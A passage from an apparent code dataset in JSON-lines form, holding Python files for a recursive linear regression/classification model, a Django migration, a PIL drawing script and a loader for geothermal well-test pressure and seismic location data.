cdist\nfrom sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor\nimport warnings\n\nimport pdb\n\n\n__all__ = [\"BaseRecursiveModel\", \"RecursiveRegressor\", \"RecursiveClassifier\"]\n\n\nclass BaseRecursiveModel(object):\n \"\"\"Base model for recursive regression modeling\n\n Parameters\n ----------\n min_samples_leaf : int\n Minimum sample size in a terminal node for tree splitting\n\n splitter : str (default = 'best')\n Method for tree splitting. Valid arguments are 'best' and 'random'\n\n fit_intercept : bool (default = True)\n Whether to fit intercept in linear models\n\n verbose : bool (default = True)\n Whether to print status of fitting procedure\n\n Returns\n -------\n self : object\n Instance of BaseRecursiveModel\n \"\"\"\n def __init__(self, min_samples_leaf = None, splitter = 'best', fit_intercept = True, verbose = False):\n\n # Define attribute variables\n _valid_splitters, _valid_bool = ['best', 'random'], [True, 1, False, 0]\n if splitter in _valid_splitters:\n self.splitter = splitter\n else:\n raise ValueError('%s not a valid splitter. Valid arguments are %s' % (splitter, _valid_splitters))\n\n if fit_intercept in _valid_bool:\n self.fit_intercept = fit_intercept\n else:\n raise ValueError('%s not a valid fit_intercept. Valid arguments are %s' % (fit_intercept, _valid_bool))\n\n if verbose in _valid_bool:\n self.verbose = verbose\n else:\n raise ValueError('%s not a valid verbose. Valid arguments are %s' % (verbose, _valid_bool))\n\n if self._CLASSIFIER:\n if min_samples_leaf < 30:\n warnings.warn('min_samples_leaf too low, setting to minimum value of 30')\n self.min_samples_leaf = 30\n else:\n self.min_samples_leaf = min_samples_leaf\n\n else:\n if min_samples_leaf < 10:\n warnings.warn('min_samples_leaf too low, setting to minimum value of 10')\n self.min_samples_leaf = 10\n else:\n self.min_samples_leaf = min_samples_leaf\n\n self.level, self.converged = 0, False\n self.terminal_nodes, self.summary = [], OrderedDict()\n self.DataSplit = namedtuple('DataSplit', 'exog metric coef n')\n\n\n def _create_matrices(self, formula = None, data = None):\n \"\"\"Create design matrices from patsy-type formula\n\n Parameters\n ----------\n formula : str\n Patsy formula\n\n data : pandas DataFrame\n Pandas dataframe\n\n Returns\n -------\n endog : 1d array-like\n Array for dependent variable\n\n exog : 2d array-like\n Array of covariates\n\n part : 2d array-like\n Array of partitioning variables\n \"\"\"\n # Separate structural model from partitioning model and obtain matrices\n formula_split = formula.split('|')\n structural, partitioning = formula_split[0].strip(), formula_split[1].strip()\n\n # If intercept specified keep otherwise remove\n if self.fit_intercept:\n endog, exog = patsy.dmatrices(formula_like = structural, data = data)\n else:\n endog, exog = patsy.dmatrices(formula_like = structural[0] + ' ~ 0 + ' + structural.split('~')[-1].strip(), \n data = data)\n part = patsy.dmatrix(formula_like = '0 + ' + partitioning, data = data)\n\n return endog, exog, part\n\n\n def _tree_splitter(self, endog = None, exog = None, part = None):\n \"\"\"Tree splitter function\n\n Parameters\n ----------\n endog : 1d array-like\n Array for dependent variable\n\n exog : 2d array-like\n Array of covariates\n\n part : 2d array-like\n Array of partitioning variables\n\n Returns\n -------\n endog_split : list\n Split endogenous variable based on tree splitting classes\n\n exog_split : list\n Split exogenous variable(s) based on tree splitting classes\n\n part_split : list\n Split partitioning variable(s) based on tree splitting classes\n\n stop : bool\n Whether stopping criteria met for tree splitting\n \"\"\"\n # Train decision tree and find leaf indices\n self.tree_model.fit(X = part, y = endog)\n idx = self.tree_model.apply(X = part)\n\n # Check for stopping criteria\n if np.all(idx == 0):\n endog_split, exog_split, part_split, stop = None, None, None, True \n \n else:\n stop = False\n endog_split = [endog[idx == i] for i in (1, 2)]\n exog_split = [exog[idx == i] for i in (1, 2)]\n part_split = [part[idx == i] for i in (1, 2)]\n\n # Check if all labels are same in a node, if so node is pure\n if self._CLASSIFIER:\n for c in range(2):\n if np.all(endog_split[c] == 0) or np.all(endog_split[c] == 1):\n # if endog_split[c].tolist().count(endog_split[c][0]) == len(endog_split[c]):\n # if np.allclose(endog_split[c], np.repeat(endog_split[c][0], endog_split[c].shape[0])):\n stop = True\n break\n\n return endog_split, exog_split, part_split, stop\n\n\n def _model_summary(self, endog = None, exog = None):\n \"\"\"Trains linear model and returns metrics for current node\n\n Parameters\n ----------\n endog : 1d array-like\n Array for dependent variable\n\n exog : 2d array-like\n Array of covariates\n\n Returns\n -------\n DataSplit : namedtuple\n Summary information in current node. Contains metric, coefficients from linear fitting\n exogenous variables, and sample size\n \"\"\"\n # Create linear model, train, and return metrics\n self.linear_model.fit(X = exog, y = endog.ravel())\n y_hat = self.linear_model.predict(exog)\n\n # Drop vector of 1s to save in data structure\n if self.fit_intercept:\n exog = exog[:, 1:]\n\n return self.DataSplit(metric = self._metric(y_true = endog, y_hat = y_hat, \n exog = exog, coef = self.linear_model.coef_), \n coef = self.linear_model.coef_, \n exog = exog,\n n = len(endog))\n\n\n def _nearest_terminal_node(self, x = None, metric = 'euclidean'):\n \"\"\"Use nearest neighbor (k = 1) method to find most similar terminal node to vector x\n\n Parameters\n ----------\n x : 1d array-like\n Test vector\n\n metric : str (default = 'euclidean')\n Method for calculating distances. See scipy.spatial.distances for valid options\n\n Returns\n -------\n nearest_node : str\n Name of nearest terminal node\n \"\"\"\n # Loop over terminal nodes and calculate distance metrics\n nearest_node, smallest_dist = None, 1e10\n for name in self.terminal_nodes:\n dists = cdist(x.reshape(1, -1), self.summary[name].exog, metric = metric)\n eps = np.min(dists)\n if eps < smallest_dist:\n smallest_dist, nearest_node = eps, name\n return nearest_node\n\n\n def _total_metric(self):\n \"\"\"Calculate metrics from original sample and summed terminal nodes\n\n Parameters\n ----------\n None\n\n Returns\n -------\n original_metric : float\n Metric from full sample\n\n terminal_nodes_metric : float\n Summed metric across terminal nodes \n \"\"\"\n original_metric = self.summary['P'].metric \n terminal_nodes_metric = 0\n for i in self.terminal_nodes:\n terminal_nodes_metric += self.summary[i].metric\n return original_metric, terminal_nodes_metric\n\n\n def fit(self, formula = None, data = None, **kwargs):\n \"\"\"Recursively fit linear models\n\n Parameters\n ----------\n formula : str\n Patsy formula specifying linear model\n Example: y ~ x1 + x2 | z1 + z2 --> structural model before | and partitioning model after |\n\n data : pandas dataframe\n Pandas DataFrame that contains labeled variables based on formula\n\n **kwargs : dict\n Keyword arguments used to pass features X and label y similar to standard scikit learn API.\n By default, the partitioning variables will be all columns in X\n\n Returns\n -------\n None\n Trained recursive linear model\n \"\"\"\n # Create matrices and define number of predictors to calculate metrics later in pipeline\n if formula:\n assert(isinstance(data, pd.DataFrame)), \"data is type %s, needs to be pandas DataFrame\" % (type(data))\n endog, exog, part = self._create_matrices(formula = formula, data = data)\n else:\n exog, endog = kwargs['X'], kwargs['y']\n part = exog.copy()\n if self.fit_intercept:\n exog = np.hstack((np.ones((exog.shape[0], 1)), exog)) \n self.k = exog.shape[1]\n\n # Begin analysis\n name, = 'P'\n queue = [(name, endog, exog, part)]\n while queue:\n \n # Get current parent node model information \n name, endog, exog, part = queue.pop(0)\n self.summary[name] = self._model_summary(endog = endog, exog = exog)\n\n if self.verbose:\n print('\\n---- LEVEL %d ----' % self.level)\n print('Parent node %s: n = %d, metric = %f' % (name, self.summary[name].n, self.summary[name].metric))\n\n # If parent node is smaller than threshold, append as terminal node and continue\n if self.summary[name].n < self.min_samples_leaf:\n self.terminal_nodes.append(name)\n if self.verbose:\n print('\\tTERMINAL -- TOO SMALL')\n continue\n\n # Get tree split based on partitioning variables\n endog_split, exog_split, part_split, stop = self._tree_splitter(endog = endog, exog = exog, part = part) \n\n # If stopping criteria not met in tree splitting continue with analysis \n if not stop:\n info_list, child_metrics, child_n = [], np.zeros(2), np.zeros(2)\n\n # Loop over child nodes and calculate information for each node\n for c in range(2):\n info_list.append(self._model_summary(endog = endog_split[c], exog = exog_split[c]))\n child_metrics[c], child_n[c] = info_list[c].metric, info_list[c].n\n\n # Aggregate metric across children\n child_sum = np.sum(child_metrics)\n\n if self.verbose:\n print('Child nodes: n = (%d, %d), metrics = (%f, %f)' % (child_n[0], child_n[1], child_metrics[0], child_metrics[1]))\n print('\\tTotal metric: %f' % child_sum) \n\n # Check metric threshold and see if split makes sense\n if np.sum(child_sum) < self.summary[name].metric:\n for c in range(2):\n key = name + str(c)\n self.summary[key] = info_list[c]\n\n # If size child node greater than threshold continue with analysis, else node is terminal\n if child_n[c] > self.min_samples_leaf:\n queue.append((key, endog_split[c], exog_split[c], part_split[c]))\n \n else:\n if self.verbose:\n print('\\tChild node %s TERMINAL -- TOO SMALL' % key)\n self.terminal_nodes.append(key)\n\n # Split hurts metric so consider both children as terminal nodes\n else:\n for c in range(2):\n key = name + str(c)\n if self.verbose:\n print('\\tChild node %s TERMINAL -- LOSS INCREASED' % key)\n self.terminal_nodes.append(key)\n\n # Stopping criterion met in tree splitting so all labels are the same\n else:\n self.terminal_nodes.append(name)\n if self.verbose:\n print('\\tTERMINAL -- TREE STOPPING')\n\n # Continue with partitioning\n self.level += 1\n\n # Convergence is True if the routine finishes\n self.converged = True\n\n\n def predict(self, X = None, metric = 'euclidean'):\n \"\"\"Predict labels based on linear model in closest terminal nodes\n\n Parameters\n ----------\n X : 2d array-like\n Array of test features\n\n metric : str (default = 'euclidean')\n Method for calculating distances. See scipy.spatial.distances for valid options\n\n Returns\n -------\n y_hat : 1d array-like\n Array of predicted labels\n \"\"\"\n assert(self.converged == True), 'Train model before running predict() method'\n \n # Loop through test vectors and make predictions\n n = X.shape[0]\n y_hat = np.zeros(n)\n for i in xrange(n):\n nearest_node = self._nearest_terminal_node(x = X[i, :], metric = metric)\n y_hat[i] = self._predict_y(x = X[i, :], terminal_node = nearest_node)\n\n return y_hat\n\n\nclass RecursiveClassifier(BaseRecursiveModel):\n \"\"\"Recursive linear classifier class. Inherits BaseRecursiveModel class\n\n Parameters\n ----------\n criterion : str (default = 'gini')\n Criterion for evaluating tree splitting model. Valid arguments are 'gini' (gini index) \n and 'entropy' (information gain)\n\n Returns\n -------\n self : object\n Instance of RecursiveClassifier class\n \"\"\"\n def __init__(self, criterion = 'gini', *args, **kwargs):\n \n # Define attribute variables\n self._CLASSIFIER = True\n super(RecursiveClassifier, self).__init__(*args, **kwargs)\n _valid_criterion = ['gini', 'entropy']\n if criterion in criterion:\n self.criterion = criterion\n else:\n raise ValueError('%s not a valid criterion. Valid arguments are %s' % (criterion, _valid_criterion))\n\n self.linear_model = LogisticRegression(fit_intercept = False) \n self.tree_model = DecisionTreeClassifier(min_samples_leaf = self.min_samples_leaf,\n max_depth = 1,\n splitter = self.splitter,\n criterion = self.criterion)\n\n\n @staticmethod\n def _logit(exog = None, coef = None):\n \"\"\"Logit transformation that generates predicted probabilities based on exog and coef\n\n Parameters\n ----------\n exog : 2d array-like\n Array of covariates\n\n coef : 1d array-like\n Array of coefficients\n\n Returns\n -------\n p : 1d array-like\n Predicted probabilities\n \"\"\"\n exp_Xb = np.exp(np.dot(exog, coef.reshape(-1, 1)))\n return (exp_Xb / (1 + exp_Xb))\n\n\n def _metric(self, y_true = None, exog = None, coef = None, **kwargs):\n \"\"\"Negative log-likelihood (Bernoulli distribution) for linear classifier for n samples as \n y*log(p) + (1 - y)*log(1 - p)\n\n Parameters\n ----------\n y_true : 1d array-like\n Array of ground truth labels\n\n exog : 2d array-like\n Array of covariates\n\n coef : 1d array-like\n Array of coefficients\n\n **kwargs : keyword arguments\n Not used - set to allow compatability with RecursiveRegressor\n\n Returns\n -------\n nll : float\n Metric representing negative log-likelihood in current node\n \"\"\"\n # Return sum because averaging now and combining child node metrics would require re-weighting before combining\n if self.fit_intercept:\n exog = np.hstack((np.ones((exog.shape[0], 1)), exog)) \n p = self._logit(exog = exog, coef = coef)\n return -np.sum(y_true*np.log(p) + (1 - y_true)*np.log(1 - p))\n\n\n def _predict_y(self, x = None, terminal_node = None):\n \"\"\"Predict label for test vector x based on fitted linear model in terminal node\n\n Parameters\n ----------\n x : 1d array-like\n Array of test features\n\n terminal_node : str\n Terminal node name\n\n Returns\n -------\n y_hat : int\n Predicted class label\n \"\"\"\n # Grab coefficients from terminal node\n coef = self.summary[terminal_node].coef.reshape(-1, 1)\n\n # Calculate predicted probability and threshold to get class label\n if self.fit_intercept:\n p = self._logit(exog = np.insert(x, 0, 1).reshape(1, -1), coef = coef)\n else:\n p = self._logit(exog = x.reshape(1, -1), coef = coef)\n\n if p < .5:\n return 0\n else:\n return 1\n\n\n def _draw_y(self, x = None, terminal_node = None):\n \"\"\"Draw predicted label for test vector x based on distribution of fitted linear model \n in terminal node\n\n Parameters\n ----------\n X : 1d array-like\n Array of test features\n\n terminal_node : str\n Terminal node name\n\n Returns\n -------\n y_hat : float\n Randomly drawn value for y_hat\n \"\"\"\n # Grab coefficients from terminal node\n coef = self.summary[terminal_node].coef.reshape(-1, 1)\n if self.fit_intercept:\n p = self._logit(exog = np.insert(x, 0, 1).reshape(1, -1), coef = coef)\n else:\n p = self._logit(exog = x.reshape(1, -1), coef = coef)\n\n # Return random draw from Bern(p)\n return np.random.binomial(1, p, 1)\n\n\n def sample(self, X = None, metric = 'euclidean'):\n \"\"\"Sample labels based distribution of closest terminal nodes\n\n Parameters\n ----------\n X : 2d array-like\n Array of test features\n\n metric : str (default = 'euclidean')\n Method for calculating distances. See scipy.spatial.distances for valid options\n\n Returns\n -------\n y_hat : 1d array-like\n Array of predicted labels\n \"\"\"\n assert(self.converged == True), 'Train model before running sample() method'\n\n # Loop through test vectors and draw random variables\n n = X.shape[0]\n y_hat = np.zeros(n)\n for i in xrange(n):\n nearest_node = self._nearest_terminal_node(x = X[i, :], metric = metric)\n y_hat[i] = self._draw_y(x = X[i, :], terminal_node = nearest_node)\n\n return y_hat \n\n\nclass RecursiveRegressor(BaseRecursiveModel):\n \"\"\"Recursive linear regression class. Inherits BaseRecursiveModel class\n\n Parameters\n ----------\n criterion : str (default = 'mse')\n Criterion for evaluating linear regression model. Valid arguments are 'mse' (mean squared error) \n and 'mae' (mean absolute error)\n\n Returns\n -------\n self : object\n Instance of RecursiveRegression class\n \"\"\"\n def __init__(self, criterion = 'mse', *args, **kwargs):\n \n # Define attribute variables\n self._CLASSIFIER = False\n super(RecursiveRegressor, self).__init__(*args, **kwargs)\n _valid_criterion = ['mse', 'mae']\n if criterion in criterion:\n self.criterion = criterion\n else:\n raise ValueError('%s not a valid criterion. Valid arguments are %s' % (criterion, _valid_criterion))\n\n self.linear_model = LinearRegression(fit_intercept = False) \n self.tree_model = DecisionTreeRegressor(min_samples_leaf = self.min_samples_leaf,\n max_depth = 1,\n splitter = self.splitter,\n criterion = self.criterion)\n\n\n def _metric(self, y_true = None, y_hat = None, **kwargs):\n \"\"\"Linear regression model metrics\n\n Parameters\n ----------\n y_true : 1d array-like\n Array of ground truth labels\n\n y_hat : 1d array-like\n Array of predicted labels\n\n **kwargs : keyword arguments\n Not used - set to allow compatability with RecursiveClassifier \n\n Returns\n -------\n metric : float\n Metric representing error in current node\n \"\"\"\n # Return sum because averaging now and combining child node metrics would require re-weighting before combining\n if self.criterion == 'mse':\n return np.sum((y_true.ravel() - y_hat.ravel())**2)\n else:\n return np.sum(np.abs(y_true.ravel() - y_hat.ravel()))\n\n\n def _predict_y(self, x = None, terminal_node = None):\n \"\"\"Predict label for test vector x based on fitted linear model in terminal node\n\n Parameters\n ----------\n x : 1d array-like\n Array of test features\n\n terminal_node : str\n Terminal node name\n\n Returns\n -------\n y_hat : float\n Predicted value\n \"\"\"\n # Grab coefficients from terminal node\n coef = self.summary[terminal_node].coef.reshape(-1, 1)\n if self.fit_intercept:\n return np.dot(np.insert(x, 0, 1).reshape(1, -1), coef)\n else:\n return np.dot(x.reshape(1, -1), coef)\n\n\n def _draw_y(self, x = None, terminal_node = None):\n \"\"\"Draw predicted label for test vector x based on distribution of fitted linear model \n in terminal node\n\n Parameters\n ----------\n X : 1d array-like\n Array of test features\n\n terminal_node : str\n Terminal node name\n\n Returns\n -------\n y_hat : float\n Randomly drawn value for y_hat\n \"\"\"\n # Calculate mean squared error in terminal node as MSE = SSE / (n - k)\n mse = self.summary[terminal_node].metric/(self.summary[terminal_node].n - self.k)\n\n # Grab coefficients from terminal node and calculate mean\n coef = self.summary[terminal_node].coef\n if self.fit_intercept:\n mu = np.dot(np.insert(x, 0, 1).reshape(1, -1), coef)\n else:\n mu = np.dot(x.reshape(1, -1), coef)\n\n # Return random draw from N(mu, mse)\n return np.random.normal(mu, mse, 1) \n\n\n def sample(self, X = None, metric = 'euclidean'):\n \"\"\"Sample labels based distribution of closest terminal nodes\n\n Parameters\n ----------\n X : 2d array-like\n Array of test features\n\n metric : str (default = 'euclidean')\n Method for calculating distances. See scipy.spatial.distances for valid options\n\n Returns\n -------\n y_hat : 1d array-like\n Array of predicted labels\n \"\"\"\n assert(self.converged == True), 'Train model before running sample() method'\n assert(self.criterion == 'mse'), 'Criterion must be mse to use sample() method'\n\n # Loop through test vectors and draw random variables\n n = X.shape[0]\n y_hat = np.zeros(n)\n for i in xrange(n):\n nearest_node = self._nearest_terminal_node(x = X[i, :], metric = metric)\n y_hat[i] = self._draw_y(x = X[i, :], terminal_node = nearest_node)\n\n return y_hat \n\n\nif __name__ == \"__main__\":\n\n linear = True\n logistic = True\n\n if linear:\n data = pd.DataFrame(np.random.normal(0, 1, (1000, 8)), columns = ['y', 'x1', 'x2', 'x3', 'z1', 'z2', 'z3', 'z4'])\n rr = RecursiveRegressor(min_samples_leaf = 10, splitter = 'best', criterion = 'mse', fit_intercept = True, verbose = True)\n rr.fit('y ~ x1 + x2 + x3 | z1 + z2 + z3 + z4', data = data)\n initial, final = rr._total_metric()\n print('\\nInitial Metric: %f' % initial)\n print('Final Metric: %f' % final)\n print('Nearest terminal node: %s' % rr._nearest_terminal_node(np.random.normal(0, 1, (1, 3))))\n\n # Generate test data\n X = np.random.normal(0, 1, (1000, 3))\n import matplotlib.pyplot as plt\n\n y1 = rr.predict(X = X, metric = 'euclidean')\n y2 = rr.sample(X = X, metric = 'euclidean')\n\n f, axarr = plt.subplots(1, 2, sharex = True, sharey = True)\n axarr[0].hist(y1)\n axarr[1].hist(y2)\n plt.show()\n\n if logistic:\n data = pd.DataFrame(np.random.normal(0, 1, (100, 7)), columns = ['x1', 'x2', 'x3', 'z1', 'z2', 'z3', 'z4'])\n #data['y'] = np.random.binomial(1, .5, (100, 1))\n rr = RecursiveClassifier(min_samples_leaf = 20, splitter = 'best', criterion = 'entropy', fit_intercept = True, verbose = True)\n #rr.fit('y ~ x1 + x2 + x3 | z1 + z2 + z3 + z4', data = data)\n dat = {'X': data, 'y': np.random.binomial(1, .5, (100, 1))}\n rr.fit(**dat)\n initial, final = rr._total_metric()\n print('\\nInitial Metric: %f' % initial)\n print('Final Metric: %f' % final)\n print('Nearest terminal node: %s' % rr._nearest_terminal_node(np.random.normal(0, 1, (1, 7))))\n\n # Generate test data\n X = np.random.normal(0, 1, (100, 7))\n print(np.mean(rr.predict(X = X, metric = 'euclidean')))\n print(np.mean(rr.sample(X = X, metric = 'euclidean')))","repo_name":"rmill040/recursiveregression","sub_path":"rr.py","file_name":"rr.py","file_ext":"py","file_size_in_byte":25992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34463921732","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('patients', '0015_auto_20160413_1701'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='bloodvalueuser',\n name='date_registration',\n field=models.DateTimeField(auto_now=True, default=django.utils.timezone.now, verbose_name='Data Registrazione'),\n preserve_default=False,\n ),\n ]\n","repo_name":"Sirbin/MiprA-Project","sub_path":"patients/migrations/0016_bloodvalueuser_date_registration.py","file_name":"0016_bloodvalueuser_date_registration.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"23320677515","text":"from PIL import Image, ImageDraw\nimport colorsys\nfrom random import randint\n\n\n\n\nwidth = 500\nheight = 500\n\nimg = Image.new('RGB', (width, height))\n\ndraw = ImageDraw.Draw(img)\n\n\n\n\ndraw.rectangle(((0, 0), (width, height)), fill=\"white\")\n\n\ndraw.polygon(((200, 200), (300, 400)), fill=\"lightblue\")\ndraw.polygon(((100, 200), (400, 250)), fill=\"lightblue\")\ndraw.polygon(((200, 400), (225, 500)), fill=\"lightblue\")\ndraw.polygon(((275, 400), (300, 500)), fill=\"lightblue\")\n\n\ncolor = (256, 128, 128) \ndraw.line((0, 0, width, height), fill=color)\ndraw.line((0, height, width, 0), fill=color)\n\n\ncircle_x = width/2 \ncircle_y = height/2 - 100\ncircle_radius = 50\ndraw.ellipse((circle_x-circle_radius, circle_y-circle_radius, circle_x+circle_radius, circle_y+circle_radius), fill='lightgreen')\n\nimg.show()","repo_name":"PdxCodeGuild/class_koala","sub_path":"code/exxons/python/image_manip_v3.py","file_name":"image_manip_v3.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34466466471","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 30 08:47:41 2019\n\n@author: eke001\n\"\"\"\nimport numpy as np\nimport models\n\n\nimport porepy as pp\n\n\ndef read_pressure_temperature(files):\n \"\"\" Read data from xls files.\n \n Parameter:\n str, or list of str: List of files to be read.\n \n Returns:\n dictionary of Pandas data frames. The keys are drawn from the headers\n in the xls files, these are typically a date. Added to this is a \n pressure or temperature identifier (drawn from the file name).\n The dictionary value is a pandas data frame of two columns, the \n first is observation depth, the second is observed value.\n \n \"\"\"\n import pandas as pd\n data = {}\n if not isinstance(files, list):\n files = [files]\n for f in files:\n\n is_pressure = '_P' in f\n is_temperature = '_T' in f\n\n df = pd.read_excel(f)\n for col in range(1, df.shape[1]):\n sub_df = df.iloc[:, [0, col]].dropna()\n\n name = sub_df.columns.values[1].split(' ')[0]\n if is_pressure:\n key = 'pressure_' + name\n elif is_temperature:\n key = 'temperature_' + name\n else:\n raise ValueError('Unknown data field in file ' + f)\n data[key] = sub_df\n\n return data\n\n\ndef load_pressure_observations_march_29():\n \n # First, read off every 2.5 minutes\n observed_pressure_0950_1022 = np.array([128, # 09:50\n 122, 119, 116, 113.4, # 10:00\n 112, 110.5, 109.5, 108.3, # 10:10\n 107.3, 106.5, 105.9, 105.5, # 10:20\n 105.0])\n # Next, every 5 minutes\n observed_pressure_1025_1120 = np.array([104.7, 104, 103.5, 103.1, # 10:40\n 102.6, 102.2, 101.8, 101.4, # 11:00\n 101.0, 100.7, 100.4, 100.2, # 11:20\n 99.9, 99.6, 99.3, 99.0, # 11:40\n 98.8, 98.5, 98.3, 98.0, # 12:00\n 97.8, 97.6, 97.4, 97.3, # 12:20\n ])\n mean_p = 0.5 * (observed_pressure_1025_1120[:-1] + observed_pressure_1025_1120[1:] )\n \n # Insert mean values for pressures so that the observations are equi-spaced in time\n expanded = np.zeros(observed_pressure_1025_1120.size + mean_p.size)\n expanded[::2] = observed_pressure_1025_1120\n expanded[1::2] = mean_p\n \n \n \n \n observed_pressure = np.hstack((observed_pressure_0950_1022, expanded))\n \n observation_time_first = 2.5 * pp.MINUTE * np.arange(observed_pressure_0950_1022.size)\n observation_time_second = 5 * pp.MINUTE * (1 + np.arange(observed_pressure_1025_1120.size - 1))\n observation_time_second = np.hstack((observation_time_second, observation_time_second[-1] + 2.5 * pp.MINUTE))\n # Offset from end of previous period\n observation_time_second += observation_time_first[-1]\n\n #observed_time = np.hstack((observation_time_first, observation_time_second)) \n \n # The pressure values are now given every 2.5 minutes\n observed_time = 2.5 * pp.MINUTE * np.arange(observed_pressure.size)\n \n # Mimic the fall off test: The injection was reported to last from 7:15 to 9:50\n # (interpreted from p30 and p100 in ISOR report 2015-017). The pressure buildup \n # during this test is mainly unknown, the only available information is that the\n # pressure was more or less constont over the last 30 minutes of the test \n # (see Figure 46 in the ISOR report)\n # \n dt = 150\n start_injection = -2 * pp.HOUR + 35 * pp.MINUTE\n# known_plateau = -30 * pp.MINUTE\n t_prior = np.arange(start_injection, 0, dt)\n p_prior = observed_pressure[-1] + np.power(t_prior - t_prior[0], 0.4) * 1.03\n # introduce kwargs or optional argument make_figures=False? Possibly also\n # make dedicated plotting function\n if False: # Use this to create figure\n t = np.hstack((observed_time[0] - 30 * pp.MINUTE, observed_time[:-20]))\n p = np.hstack((observed_pressure[0], observed_pressure[:-20]))\n else:\n t = np.hstack((t_prior, observed_time))\n p = np.hstack((p_prior, observed_pressure))\n \n if False: # Activate this to create figures\n import datetime\n import matplotlib.pyplot as plt\n \n t0 = datetime.datetime(year=2015, month=3, day=29, hour=9, minute=50, second=0)\n \n t_full = [t0 + datetime.timedelta(seconds=i) for i in t]\n plt.plot(t_full, p, linewidth=5)\n fig = plt.gcf()\n fig.autofmt_xdate()\n # ax = fig.gca()\n # for tick in ax.xaxis.get_major_ticks():\n # tick.set_fontsize(16)\n # for tick in ax.yaxis.get_major_ticks():\n # tick.set_fontsize(16) \n \n plt.ylabel('Pressure [bar]', fontsize=24)\n plt.show()\n \n t0_inj = datetime.datetime(year=2015, month=3, day=29, hour=12, minute=00, second=0)\n dt = datetime.timedelta(minutes=30)\n q_inj_cycle = [100, 100, 100, 20, 20]\n t_inj_cycle = [t0_inj + i * dt for i in [0, 1, 2, 2, 3]]\n \n q_inj = [q_inj_cycle[j] for i in range(7) for j in range(len(q_inj_cycle))]\n t_inj = [3*i *dt + t_inj_cycle[j] for i in range(7) for j in range(len(t_inj_cycle))]\n \n t_inj = t_inj[:-1]\n q_inj = q_inj[:-1]\n \n plt.figure()\n fig = plt.gcf()\n plt.plot(t_inj, q_inj, linewidth=5)\n fig.autofmt_xdate()\n plt.ylabel('Injection rate [L/s]', fontsize=24) \n \n plt.show()\n \n return t, p\n #return inj_rate, length_periods, observed_pressure, observed_time, num_data_points_periods\n \n\ndef load_pressure_observations_april_7():\n \"\"\" Injection rates and lengths of injection periods. \n Measured out of 52 in ISOR report 2015-017.\n \"\"\"\n inj_rates = np.array([40, 60, 20])\n length_periods = np.array([3.25, 3, 3]) * pp.HOUR\n\n ## Observed_pressure in period 13:07:30 - 17:00. 7.5 minutes between data points\n observed_pressure_until_17 = np.array([146.8, # 13:07:30\n 149, 150.5, 151, # 13:30\n 151.3, 151.8, 152.2, 152.6, # 14:00\n 152.8, 153, 153.3, 153.5, # 14:30\n 153.8, 154.1, 154.3, 154.5, # 15:00\n 154.7, 154.8, 154.9, 155.1, # 15:30\n 155.3, 155.4, 155.7, 155.8, # 16:00\n 155.9, 156.0, 156.0]) # 16:22:30\n \n observation_time_first = 7.5 * pp.MINUTE * np.arange(observed_pressure_until_17.size)\n \n ## Observations during second injection stage. 15 minutes between data points.\n # The main reasons for longer time between observations are laziness + it seems to be sufficient\n observed_pressure_1715_1922 = np.array([159.2, # 16:30\n 161.7, 163.2, # 17:00 \n 164.2, 165.1, 165.8, 166.5, # 18:00\n 167.0, 167.7, 168.1, 168.5, # 19:00\n 168.9, # 19:15\n 169.2 # 19:22:30\n ])\n # Observation times, will be added to first group (thus start arange on 1)\n observation_time_second = 15 * pp.MINUTE * (1 + np.arange(observed_pressure_1715_1922.size - 1))\n # Add a final observation at about 19:22:30\n observation_time_second = np.hstack((observation_time_second, observation_time_second[-1] + 7.5 * pp.MINUTE))\n # Offset from end of previous period\n observation_time_second += observation_time_first[-1]\n \n observed_pressure_1930_2230 = np.array([165, 163, 161.2, 160, 159.6, # 20:00\n 159.2, 158.6, 158.1, 157.8, # 20:30\n 157.6, 157.2, 156.9, 156.7, # 21:00\n 156.5, 156.3, 156.1, 155.9, # 21:30\n 155.7, 155.5, 155.4,155.3, # 22:00\n 155.1, 155, 154.8 # 22:22:30\n ])\n \n # Observation times, will be added to second group (thus start arange on 1)\n observation_time_third = 7.5 * pp.MINUTE * (1 + np.arange(observed_pressure_1930_2230.size))\n # Offset from end of second period\n observation_time_third += observation_time_second[-1]\n \n # Use time-averaging of the first and third periods, as these are denser, thus\n # more prone to round-off errors\n observed_pressure_until_17[1:-1] = 0.5 * (observed_pressure_until_17[:-2] + observed_pressure_until_17[2:])\n observed_pressure_1930_2230[1:-1] = 0.5 * (observed_pressure_1930_2230[:-2] + observed_pressure_1930_2230[2:])\n \n \n observed_pressure = np.hstack((observed_pressure_until_17, observed_pressure_1715_1922, observed_pressure_1930_2230))\n \n observed_time = np.hstack((observation_time_first, observation_time_second, observation_time_third))\n\n num_data_points_periods = np.array([observation_time_first.size, observation_time_second.size, observation_time_third.size])\n\n return inj_rates, length_periods, observed_pressure, observed_time, num_data_points_periods\n\ndef read_seismic_locations(domain_center=None):\n \n # Coordinates of the locations, transformed to isnet93 coordinates.\n # To do the conversion, put the UTM coordinates in a file and run\n # $ cs2cs +init=epsg:32627 +to +init=epsg:3057 infile -r > outfile\n # NBNB: The -r option is used to switch between xy and yx ordering\n # If this is to be run by others, file names must be handled somehow\n xy_file = '/home/eke001/Dropbox/workspace/prosjekter/Eris/seismic_observations/seismic_locations_xy_isnet93.data'\n \n xy = np.genfromtxt(xy_file)[:, :2]\n \n # File with raw data, we'll pull the depths of the location from here\n depth_file = '/home/eke001/Dropbox/workspace/prosjekter/Eris/seismic_observations/seismic_event_location.txt'\n # Skip one header file, and use the 6th coordinate (assumed to be double difference depths)\n z = np.genfromtxt(depth_file, skip_header=1)[:,6].reshape((-1, 1))\n \n # negative depth\n z *= -1\n # Doesn't make sense\n if True or domain_center is None:\n model = models.GeometryData()\n domain_center = model.get_domain_center()\n \n xy -= domain_center[:2]\n locations = np.hstack((xy, z))\n \n return locations\n\nif __name__ == '__main__':\n 